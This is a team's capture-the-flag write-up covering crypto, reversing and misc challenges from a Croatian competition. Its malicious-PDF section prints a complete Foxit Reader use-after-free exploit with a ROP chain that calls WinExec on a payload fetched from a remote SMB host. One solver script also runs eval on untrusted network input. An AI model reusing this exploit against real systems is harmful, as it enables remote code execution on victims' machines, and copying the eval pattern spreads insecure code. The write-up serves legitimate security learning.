(this section is mostly inspired by this article: https://www.forensicfocus.com/articles/bruteforcing-linux-full-disk-encryption-luks-with-hashcat/)
$ cp luks_header_backup_1_2_2023 newvol
$ stat -c %s new
16777216
$ sudo dd if=luksvolume of=newvol bs=1 skip=16777216 seek=16777216 conv=notrunc
...
$ sudo cryptsetup luksOpen newvol decrypted
Enter passphrase for newvol: 123
$ file /dev/loop0
/dev/loop0: block special (7/0)
$ cat /dev/loop0 > out
$ mkdir mntd
$ sudo mount /dev/mapper/decrypted mntd
$ cd mntd
$ ls
.rw-r--r-- 22 root 24 Apr 10:33 flag.txt
$ cat flag.txt
CTF2024[162539047819]
Kriptografija
Duga
Ivan je odlučio skrivati svoje tajne informacije tako da ih lomi u manje stringove i zatim hashira svaki mali string zasebno. Dokaži Ivanu da to možda i nije najbolja ideja.
We were given the following:
112c61a276d0376f2f6b25dd3a337b1d
999d0cd62b8ea4c8cc007fa60dd7f242818b5349
bcac9d1d8eab3713ae489224d0130c9468e7a0e3
a87ff679a2f3e71d9181a67b7542122c
1e5c2f367f02e47a8c160cda1cd9d91decbac441
19b650660b253761af189682e03501dd
e4da3b7fbbce2345d7772b0674a318d5
16b06bd9b738835e2d134fe8d596e9ab0086a985
8f14e45fceea167a5a36dedd4bea2543
456f2361d677372141da13ecbc8f27b83f5b6a15
902ba3cda1883801594b6e1b452790cc53948fda
b261807d4663f1371171d57b7d40893f
Since the challenge said these were small hashed strings, we just used hashes.com to get original string
pieces, which when combined gave the flag: CTF2024[863589749474]
Rubix
Ivan jako voli rješavati rubikove kocke. Isto tako, bavi se pisanjem i ne voli kada mu netko od ukućana s kojima dijeli računalo čita nedovršene tekstove. Kako bi riješio svoj problem, odlučio je smisliti vlastiti rotacijski algoritam šifriranja inspiriran rubikovim kockama. Na njegovu žalost, njegova sestra Ana, koja jako voli čitati, isto tako jako voli algoritme, a iako je Ivan izbrisao nekompajlirani izvorni kod koji mu kriptira tekstove, Ana mu je pronašla dokumentaciju koju je napisao za sebe da mu je lakše programirati. Pokažite Ivanu da njegov algoritam vjerojatno neće predugo sprječavati Anu da mu čita nedovršena djela.
As a part of the challenge we were given the following algorithm:
Rubix algoritam je rotacijski algoritam za šifriranje koji koristi rotacije na rubikovoj kocki kako bi šifrirao
poruku. Znakovi engleskog alfabeta i brojke 0-9 raspoređene su na rubikovu kocku kako je prikazano na
slici dolje.
Plavo polje je enkripcijsko polje, koje uspoređujemo s početnim stanjem polja kako bismo odredili koji
znak mijenjamo kojim. Rotacije koje se koriste su poput onih na rubikovoj kocki i prikazane su na slici
ispod.
I još dodatne rotacije MU, MD, ML i MD (kao i njihove pripadne obrnute rotacije s apostrofom) koje se
odnose na rotacije unutarnjih redaka odnosno stupaca – drugog odozgo, odozdo, slijeva i zdesna
redom.
Na kraju postupka, ako rezultatno polje ponavlja neke znakove, a neki znakovi fale, znakovi koji fale se
sortiraju silazno (prvo brojke, zatim slova, npr, ako fale 4, 7, A i Z, znakovi će biti sortirani kao [7, 4, Z,
A] i zatim se duplicirani znakovi u polju redom mijenjaju znakovima koji fale.
Algoritam primjenjuje 3 rotacije za šifriranje, ali radi lakšeg shvaćanja, u nastavku se nalazi primjer
nakon za isčitavanje tablice nakon jedne rotacije.
Primjer:
Imamo početno stanje.
Primjenjujemo rot F
Ako bismo sad recimo htjeli enkriptirati string HAHA, rezultat bi bio Z4Z4
We were also given the flag with its rotations:
F'LU
XIFZNZA[NYZAZAA5TMAM]
After that we simply had to apply the following transformations and we got the following encryption matrix:
The flag: CTF2024[082424431646]
Ne-sumično
Ante je organizirao CTF natjecanje. Na natjecanje je pozvao i svog kolegu Milana. Milan ne zna riješiti treći zadatak, ali zna da je Ante generirao flagove sa vlastitim linearnim kongruentnim generatorom, na način da bi generirao 6 brojeva manjih od 100 i zatim ih spojio u jedan flag. Milan je već riješio prva dva zadatka, što znači da ima prva 2 flaga, odnosno prvih 12 brojeva generatora. Ante zna da Milan ne bi znao riješiti takav zadatak pa mu je sve ovo malo čudno. Dokaži Anti da mu je generator nesiguran i da svatko može izračunati sve njegove flagove, tako da izračunaš treći flag.
gen_bez_parametra:
#include <iostream>
#include <random>
#include <string>
#include <vector>
using namespace std;
int LCG(int x)
{
/*promijeniti vrijednosti parametara a, b i m*/
int m = 99;
int a = 20;
int b = 10;
return (a * x + b) % m; // m probably 100
}
int main()
{
static bool first = true;
vector<int> randNs;
int next;
int seed = 55;
if (first) //generiramo prvi flag
{
next = LCG(seed);
randNs.push_back(next);
first = false;
for (int i = 0; i < 5; i++)
{
next = LCG(next);
if (next < 10)
{
randNs.push_back(0);
randNs.push_back(next);
}
else
randNs.push_back(next);
}
for (int i : randNs)
cout << i << ' ';
cout << "\n";
}
for (int j = 0; j < 29; j++) //generiramo ostalih 29 flagova
{
randNs.clear();
for (int i = 0; i < 6; i++)
{
next = LCG(next);
if (next < 10)
{
randNs.push_back(0);
randNs.push_back(next);
}
else
randNs.push_back(next);
}
for (int i : randNs)
cout << i << ' ';
cout << "\n";
}
}
From the text and the code we were provided, we knew the real challenge was finding the parameters to the LCG (linear congruential generator), since we were provided the seed. We also got 2 flags:
CTF2024[213496490010]
CTF2024[125260225401]
and from the code we could see that the actual numbers being generated by the LCG were:
21, 34, 96, 49, 00, 10, 12, 52, 60, 22, 54, 01
in that order.
LGCs, mathematically speaking, give new numbers from this formula:
Sn = (a*Sn-1 + b) mod m
When dealing with LCGs, the most important thing to know is the parameter m, the modulus. To find it, we define Tn:
Tn = Sn - Sn-1 = a*Sn-1 + b - (a*Sn-2 +b) mod m = a*(Tn-1) mod m = a^2 Tn-2 mod m
We have
Tn*Tn-2 - Tn-1^2 = 0 mod m
If we had enough numbers generated by the LCG, we could find Tn for every n, and thus all
Tn*Tn-2 - Tn-1^2
. If we then find their greatest common divisor, that will be the parameter
m.
Down here is my haskell code that does just that.
nums = [21, 34, 96, 49, 00, 10, 12, 52, 60, 22, 54, 01]
tn :: [Int]
tn = tail $ zipWith (-) nums $ [0]++nums
calc :: [Int] -> [Int]
calc (x:y:z:xs) = (x*z - y*y) : calc (y:z:xs)
calc (x:y:[]) = [0]
un :: [Int]
un = init $ calc tn
greatestCommonDivisor :: Int
greatestCommonDivisor = last $ scanl gcd (head un) un
The code outputs m = 99, which makes sense, since the largest number in the flags we got is 96.
Finding a and b can be done by hand if we notice we have a 0 in the generated numbers. That will give us
10 = 0*a + b mod 99
10 = b mod 99
b = 10 mod 99.
We can just assume b is 10, since it doesn’t matter what exactly b is - we only need b mod 99 for the problem.
Now we can take any other pair of numbers to find a. Lets take the seed and the first number:
21 = 55a + 10 mod 99
11 = 55a mod 99
1 = 5a mod 99
100 = 5a mod 99
a = 20 mod 99
and now we have a, b and m. We simply insert them in the code provided by the challenge, run it and submit the third flag.
$ ./a.out
21 34 96 49 0 0 10
12 52 60 22 54 0 1
30 16 33 76 45 19
The flag: CTF2024[301633764519]
Naporni tjedan
Marko smatra da njegov prijatelj Ivan treba malo izaći na zrak jer u zadnje vrijeme previše radi labose i stalno je doma. U tu svrhu, pokušao ga je pozvati van na kebab u chatu njihove grupe prijatelja, čak ga je pingao da mu privuče pažnju. Na kraju ipak nije uspio nagovoriti Ivana da danas izađe van, ali mu je barem poslao sretnu zastavicu za dobru sreću s labosima. Chat je zaštićen jednokratnom bilježnicom, koja možda i nije toliko jednokratna. Ukradi im sretnu zastavicu da bi im pokazao da bilježnice moraju biti uistinu jednokratne.
Hint1: Ne koriste se dijakritici, kao alfabet možete očekivati engleski alfabet.
Hint2: Marko je Ivanu poslao zastavicu u zadnjoj poruci. Zadnja poruka ne sadržava ništa osim zastavice.
So… I kinda already solved this challenge before this competition even started.
It’s challenge 6 in CryptoPals Challenge Set 1, except a bit easier.
We know the key length is the length of the messages, so I just slightly modified the code I already had for breaking XOR.
This is the code:
#![allow(unused)]
use std::{cmp::Reverse, collections::HashMap};
// https://stackoverflow.com/a/64499219
pub fn transpose<T>(v: Vec<Vec<T>>) -> Vec<Vec<T>>
where
T: Default,
{
assert!(!v.is_empty());
let len = v[0].len();
let mut iters: Vec<_> = v.into_iter().map(|n| n.into_iter()).collect();
(0..len)
.map(|_| {
iters
.iter_mut()
.filter_map(|n| n.next())
.collect::<Vec<T>>()
})
.collect()
}
use base64::{
prelude::{Engine as _, BASE64_STANDARD as b64},
Engine,
};
use itertools::Itertools;
fn val(i: u8) -> u8 {
match i {
b'A'..=b'F' => i - b'A' + 10,
b'0'..=b'9' => i - b'0',
_ => panic!("Invalid integer {i}"),
}
}
fn hxd(input: &str) -> Vec<u8> {
input
.as_bytes()
.chunks(2)
.map(|c| val(c[0]) << 4 | val(c[1]))
.collect()
}
fn hxe(input: &[u8]) -> String {
input.iter().map(|x| format!("{x:02x}")).collect()
}
fn xor_fixed(a: &[u8], b: &[u8]) -> Vec<u8> {
a.iter().zip(b.iter()).map(|(a, b)| a ^ b).collect()
}
fn xor_1byte(a: &[u8], b: u8) -> Vec<u8> {
a.iter().map(|c| c ^ b).collect()
}
fn xor_keyed(a: &[u8], b: &[u8]) -> Vec<u8> {
a.iter()
.zip(std::iter::repeat(b.iter()).flatten())
.map(|(a, b)| a ^ b)
.collect()
}
// frequencies from: http://norvig.com/mayzner.html
fn string_score(a: &str) -> usize {
let thng = " etaoinsrhldcumfpgwybvkxjqz202401356789[]";
a.to_lowercase()
.chars()
.filter_map(|x| thng.find(x))
.map(|x| thng.len() - x)
.sum()
}
fn break_1byte(a: &[u8]) -> String {
let mut s = vec![];
for x in 0..u8::MAX {
let st = String::from_utf8(xor_1byte(a, x));
if st.is_ok() {
s.push(st.unwrap());
}
}
s.sort_unstable_by_key(|a| string_score(a));
s.into_iter().last().unwrap()
}
fn hamming(a: &[u8], b: &[u8]) -> usize {
xor_fixed(a, b)
.iter()
.map(|x| x.count_ones() as usize)
.sum()
}
fn main() {
// i just did this conversion by hand
let enc = ["180E1F49030F4154064C1A41100E520400020D0000", "051311070B4A08440C0106001A0E521F0C0E0B031E", "02005004010D14000D0D0741074F011B1B1E135B17", "0D451408044A114C0016495A151C061B49020F5E00", "010A0208034A0F4119051A4100065218080E051211", "0D451E001D1E000006020D41541C00111D0205401E", "041311050F4A15520C0E08541D4F11114901035B16", "09131F491D180454070D495A151C06151F05090005", "0F31365B5E58557B5B5A5E19455E47465A55595462" ];
let enc = enc.into_iter().map(|x| hxd(x)).collect_vec();
let mut best = HashMap::new();
let score = enc.iter()
.tuple_windows()
.map(|(a, b)| hamming(a.as_ref(), b.as_slice()) as f64 / a.len() as f64);
let score: f64 = score.clone().sum::<f64>() / score.len() as f64;
best.insert(enc[0].len(), score);
let bestest = best
.iter()
.sorted_unstable_by(|a, b| a.1.partial_cmp(b.1).unwrap())
.collect_vec();
println!("{:?}", bestest);
for (&key, _) in bestest {
let chks = transpose(enc.iter().map(|x| x.to_vec()).collect());
let chks = transpose(
chks.iter()
.map(|x| break_1byte(x).chars().collect())
.collect(),
);
let chks = chks.iter().map(|x| String::from_iter(x)).join("\n");
println!("{chks}");
}
}
And it gives us output that is… close enough:
$ cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.04s
Running `/home/tonik/proj/cryptopals/set1/target/debug/set1`
[(21, 2.6547619047619047)]
Tko me to stda pieg2R
Ivane idemo5na keia1L
Ne mogu dants soryyiE
A daj pliz oasto eelR
Moram napistti laio C
A nista ondt sreteorL
Hvala trebaai ce fiiD
Evo sretna oastavbc2W
CTF2024[267,1152323f0
From known words, we can edit the key until it gets us the flag:
// change it until it works
let key = xor_fixed(&enc[7], b"Evo sretna zastavica:");
for x in &enc {
println!("{}", String::from_utf8_lossy(&xor_fixed(x, &key)));
}
and we get this:
Tko me to sada pinga?
Ivane idemo na kebab!
Ne mogu danas sorry:(
A daj pliz zasto ne??
Moram napisati labos.
A nista onda sretno!!
Hvala trebati ce mi:)
Evo sretna zastavica:
CTF2024[267911523935]
Hellmanns
Josip i Marija razgovaraju o umacima za sendviče koje prodaju na svom novom štandu. S obzirom na to da je konkurencija u biznisu prodaje sendviča nemilosrdna, ne žele da netko dozna tajne sastojke njihovih najpopularnijih sendviča. U tu svrhu, odlučili su svoju komunikaciju zaštititi posmačnom šifrom, a ključ same šifre prenositi nešto modernijim algoritmom razmjene ključeva kao dijeljenu tajnu.
Ipak, svoje tajne nisu baš najbolje zaštitili. Pokaži im da trebaju još malo poraditi na tome.
The thing is, no matter how secure the thing might be, the modulo (p) is 9001, which allows us to brute force all the keys in seconds
import sys
import hashlib
mod_p = 9001
base_g = 877
a_public = 5613
b_public = 341
# a_secret = int(input('a secret: '))
# b_secret = int(input('b secret: '))
for shared_secret in range(0, 9001):
key = hashlib.md5(str(shared_secret).encode("ascii")).hexdigest()
# a simple find/replace 0x to \\x
message = b"\x25\x30\x70\x0b\x54\x50\x51\x69\x0f\x51\x01\x04\x01\x54\x0f\x54\x52\x0d\x0e\x0f\x3c"
result = str()
list_key = list(key)
list_message = list(message)
for (i, j) in zip(list_key, list_message):
char = ord(i) ^ j
result += chr(char)
if result.startswith("CTF2024"):
print(result)
And it spits out the flag almost instantly:
$ py crack.py
CTF2024[670175814599]
Aesop
Hrvoje je na predavanjima učio o kriptografskim algoritmima i toliko su ga zaintrigirali da se odlučio okušati u samostalnoj izradi programa koji bi štitio njegove najtajnije informacije. Hrvoje je svoj program postavio kao mrežni servis na kojem sprema svoje projekte. On, kao admin, ima pristup svim projektima, a svojim prijateljima daje podatke za guest pristup kako bi im mogao pokazivati projekte koje smatra dovršenima.
Dokaži Hrvoju da mu je servis ranjiv i da treba još puno učiti.
Na njegov servis možeš se spojiti naredbom netcat
nc chal.hackultet.hr 13019
A quick glance at the source code shows us it’s the classic AES CBC challenge
We can flip bits in the IV to also flip bits in the final output
If we know the original encrypted string, we can xor it with what we want to get, and xor that with the iv to get the new iv
To find the bits we need to flip, i added a single debug print:
# source.py #24
padded = pad(plaintext, 16)
print(padded)
# AES keys must be 16 or 32 bytes
$ KEY="0123456789abcdef" py source.py 1 ↵
Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka
:2
username : user
password : pass
b'{"is_admin": 0}\x01'
Tvoj token je : aedd4489f66432ee88672cb41175655b70bb021445f9836dafc1a243620cf3d2
welcome guest
Alright, we need to flip the last bit of the 13th byte. We can do that by hand:
$ nc chal.hackultet.hr 13019
Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka
:2
username : user
password : pass
Tvoj token je : 8417ff8d4a8cfcf32fd5edd2c882c9294fef4fb7edbb0c9f41a00994b6d06ad0
welcome guest
Now we change the 13th byte:
8417ff8d4a8cfcf32fd5edd2c882c9294fef4fb7edbb0c9f41a00994b6d06ad0
8417ff8d4a8cfcf32fd5edd2c883c9294fef4fb7edbb0c9f41a00994b6d06ad0
^
And do the key login thing:
nc chal.hackultet.hr 13019
Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka
:1
Token : 8417ff8d4a8cfcf32fd5edd2c883c9294fef4fb7edbb0c9f41a00994b6d06ad0
Dobrodosao admin!
Flag = CTF2024[512978386104]
Reversing
Lozinka
Možete li unijeti ispravnu lozinku? nc chal.hackultet.hr 13012
We’re given a binary and a remote address. If we open up main, we’ll find a bunch of checks:
.. scanf into var_e8h ...
iVar3 = fcn.00401190(&var_e8h);
if (((
(iVar3 == 0x20)
&& ((char)var_e8h == 'a'))
&& (var_e8h._1_1_ == 'G'))
&& ((var_e8h._2_1_ == '8'
&& (var_e8h._3_1_ == '@')))) {
... print the flag ...
Now we just have to figure out what fcn.00401190
does…
The disassembly shows it calling a function at 0x42a3a0
Now Cutter wasn’t smart enough to do it on it’s own, but if you open up that address, you’ll see it’s just strlen()
So, the conditions are:
- a length of
0x20
(32) characters - beginning with
aG8@...
And it gives us the flag:
$ nc chal.hackultet.hr 13012
Lozinka: aG8@nevergonnagiveyouupnevergonn
CTF2024[348472324235]
Lozinka 2
Ovaj put smo implementirali bolju provjeru lozinke. nc chal.hackultet.hr 13013
It’s the same, but slightly different.
puts("Lozinka: ");
__isoc99_scanf("%99s", &s);
uVar1 = strlen(&s);
if (uVar1 < 6) {
printf("Prekratak unos");
uVar2 = 0xffffffff;
} else {
uVar2 = fopen("./flag.txt", data.00002022);
fread(&ptr, 100, 1, uVar2, in_R8, in_R9, argv);
fclose(uVar2);
var_104h = 0;
while( true ) {
uVar1 = strlen(&s);
if (uVar1 <= (uint64_t)(int64_t)var_104h) break;
if (*(char *)((int64_t)&s + (int64_t)var_104h) != *(char *)((int64_t)&ptr + (int64_t)var_104h)) {
uVar2 = 0xffffffff;
goto code_r0x0000136d;
}
var_104h = var_104h + 1;
}
puts(&ptr);
uVar2 = 0;
}
So it’s asking us for a password, it must be at least 6 bytes long and it must match what’s
in ./flag.txt
Now the thing is, it doesn’t need to match the whole thing
It’s only checking up to strlen(&s)
, the length of our input
If we know the flag starts with CTF2024[
, we can input that and get the flag:
$ nc chal.hackultet.hr 13013
Lozinka:
CTF2024[
CTF2024[131224316901]
Zmija
Lana voli programirati u Pythonu, ali ne želi da drugi ljudi čitaju njen programski kod. Zato je odlučila pretvoriti svoju Python skriptu u izvršnu datoteku. Možeš li i dalje čitati njen programski kod?
We’re given an ELF file, that supposedly contains compiled Python code.
I tried giving the raw binary to the Python decompiler Decompyle++
, but it only works on
.pyc
files.
If we check it’s strings, we find some fun stuff:
$ rz-bin -z zmija
[Strings]
nth paddr vaddr len size section type string
-------------------------------------------------------
...
257 0x0000b0d0 0x0040b0d0 30 31 .rodata ascii PYINSTALLER_STRICT_UNPACK_MODE
...
It’s using pyinstaller.
It’s always worth checking out if 7zip supports it, but it doesn’t give us anything useful in this case.
We can however find this useful thing: https://github.com/extremecoders-re/pyinstxtractor
It’s a single python script that will unpack most PyInstaller binaries
And it gives us useful stuff:
$ py pyinstxtractor.py zmija
[+] Processing zmija
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 5973383 bytes
[+] Found 31 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: zmija
You can now use a python decompiler on the pyc files within the extracted directory
(you can use pylingual.io if you don't want to compile pycdc yourself)
$ ls
drwxr-xr-x - tonik 7 May 23:30 zmija_extracted
.rw-r--r-- 17k tonik 7 May 23:21 pyinstxtractor.py
.rwxr-xr-x 6.0M tonik 3 May 20:04 zmija
$ cd zmija_extracted
$ ls
drwxr-xr-x - tonik 7 May 23:30 lib-dynload
drwxr-xr-x - tonik 7 May 23:30 PYZ-00.pyz_extracted
.rw-r--r-- 881k tonik 7 May 23:30 base_library.zip
.rw-r--r-- 75k tonik 7 May 23:30 libbz2.so.1.0
.rw-r--r-- 4.5M tonik 7 May 23:30 libcrypto.so.3
.rw-r--r-- 195k tonik 7 May 23:30 libexpat.so.1
.rw-r--r-- 170k tonik 7 May 23:30 liblzma.so.5
.rw-r--r-- 187k tonik 7 May 23:30 libmpdec.so.3
.rw-r--r-- 5.8M tonik 7 May 23:30 libpython3.10.so.1.0
.rw-r--r-- 109k tonik 7 May 23:30 libz.so.1
.rw-r--r-- 387 tonik 7 May 23:30 main.pyc
.rw-r--r-- 861 tonik 7 May 23:30 pyi_rth_inspect.pyc
.rw-r--r-- 873 tonik 7 May 23:30 pyiboot01_bootstrap.pyc
.rw-r--r-- 3.7k tonik 7 May 23:30 pyimod01_archive.pyc
.rw-r--r-- 17k tonik 7 May 23:30 pyimod02_importers.pyc
.rw-r--r-- 3.7k tonik 7 May 23:30 pyimod03_ctypes.pyc
.rw-r--r-- 805k tonik 7 May 23:30 PYZ-00.pyz
.rw-r--r-- 287 tonik 7 May 23:30 struct.pyc
And now we can use Decompyle++ (because uncompyle6 is a pain to install and doesn’t even work on this version of python)
$ pycdc main.pyc
# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)
import sys
input_str = input()
flag = [
4,
1,
5,
8,
9,
3,
7,
2,
6,
7,
8,
2]
for i in range(0, len(flag)):
if int(input_str[i]) != flag[i]:
sys.exit(1)
print('CTF2024[', '', **('end',))
for i in flag:
print(i, '', **('end',))
print(']')
and if we slightly modify it:
flag = [4,1,5,8,9,3,7,2,6,7,8,2]
print('CTF2024[' + ''.join(map(str, flag)) + ']')
It gives us the flag:
CTF2024[415893726782]
Maliciozni PDF
Primili smo ovaj maliciozni PDF privitak. Možeš li saznati IP adresu napadačevog servera? Flag je IP adresa bez točaka, npr. ako je IP adresa servera 192.168.1.2, flag bi bio CTF2024[19216812]
PDF se nalazi u zaštićenoj ZIP arhivi s lozinkom infected , iako Vam ovaj maliciozni PDF ne može zapravo nauditi, preporučamo da ga analizirate u virtualnoj mašini. We recieved a locked zip file ‘sample.zip’ containing sample.pdf file. Our job was finding IP address of our ‘attacker’ (in this case the person that sent us the file). First, we tried opening the pdf file, but it did not work. Now we tried to print the contents of the file using ‘cat’ command.
cat sample.pdf
This would also work with
strings
command
Output recieved:
%PDF-
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebhttps://www.save-editor.com/tools/wse_hex.htmlx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x38312e38;
rop[0x0e] = 0x3139312e;
rop[0x0f] = 0x3830322e;
rop[0x10] = 0x625c795c;
rop[0x11] = 0x6578652e;
rop[0x12] = 0x00000000;
rop[0x13] = 0x00000000;
rop[0x14] = 0x00000000;
rop[0x15] = 0x00000000;
rop[0x16] = 0x00000000;
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
After looking at the recieved output, and this online PoC, we figured out that the IP must be encoded here:
rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x38312e38;
rop[0x0e] = 0x3139312e;
rop[0x0f] = 0x3830322e;
rop[0x10] = 0x625c795c;
rop[0x11] = 0x6578652e;
We now need to flip the endianness and hex decode it to get the IP:
\\198.18.191.208\y\b.exe
The flag: CTF2024[19818191208]
Misc
Mondrian
Ana tvrdi da je ovo izvorni kod njenog programa. Međutim, meni ovo izgleda kao apstraktna umjetnost.
In the challenge we were given an image:
After just a bit of searching online we stumbled upon Piet Mondrian, a Dutch painter. We also quickly found an Esolang called Piet created in his honour. Using this interpreter we got the flag: https://github.com/JensBouman/Piet_interpreter
The flag: CTF2024[795354911297]
Quick mafs
Već je poznato da Marko voli matematiku, pa je odlučio napraviti natjecanje da pronađe najbrže matematičare koji mogu riješiti 100 jednadžbi u 60 sekundi. Možeš li i ti to?
nc chal.hackultet.hr 13001
When connecting to the servis, it gave us math problems to solve, something like
int ( 4 + 5 / 3 / 5 + 10 - 34 * 12)
and it was obvious from the text we had to write a script to evaluate and send the solutions to the math problem.
import getpass
import sys
import telnetlib
HOST = "chal.hackultet.hr"
tn = telnetlib.Telnet(HOST, 13001)
for i in range(100):
stn = tn.read_until(b')').decode()
print(stn.split('\n'))
rj = eval(stn.split('\n')[-1])
tn.write(str(rj).encode('ascii') + b'\n')
print(tn.read_all().decode())
$ py mafs.py
/home/tonik/s.py:3: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
import telnetlib
# That's fun
... a bunch of output ...
Točno
Uspješno riješeni svi zadatci, flag: CTF2024[144865892161]
Vrijeme potrebno za rješavanje svih zadataka: 0.7986621856689453 sekundi
Yeah I know it uses eval on untrusted input. No, I don't care
telnet lib allows python to interact via telnet, and thats exactly what we needed. Since we know its 100 math problems, we loop it 100 times and in the end just print out the flag with the final line.
Party
Marko i Ana naizgled samo razmjenjuju glazbu. Ali čini vam se da bi tu moglo biti još nečega.
It’s a wav file, you just chuck it into a spectral analyzer
Mr. Worldwide
Marko je cijelo ljeto radio na brodu i tako proputovao svijet. Na putovanju je upoznao puno novih prijatelja, ali je kada je uzimao njihove brojeve telefona zaboravio zapisati pozivni predbroj njihovih zemalja. Kako nije baš jako dobar u geografiji, ne može se sjetiti gdje je točno upoznao neke ljude. Srećom ima slike s putovanja, tako da nije sve beznadno. HINTOVI
- Flag čine redom konkatenirani predbrojevi lokacija sa slika (CTF2024[<concat_brojevi>]) - bez crtica ili znaka plus
- U slučaju da država ima više pozivnih brojeva, uzmite prvi s liste - koristite listu priloženu uz zadatak
It’s the usual osint chall. We find where the images are from, and concat the country codes:
1.jpg - Cres, Croatia (385)
2.jpg - Pico de las Nieves, Spain (34)
3.jpg - Tuff Gong Studios, Jamaica (1876)
4.jpg - Lidotel Centro Lido Caracas, Venezuela (58)
5.jpg - Paraty, Brazil (55)
And the final flag: CTF2024[3853418765855]
Pravila
Pravila
Prije rješavanja natjecanja, bitno je detaljno pročitati pravila. Možda se u pravilima nalazi i neka bitna informacija.
This challenge was the second challenge to be completed by all the teams. (Duga was the first...)
The flag: CTF2024[139283594247]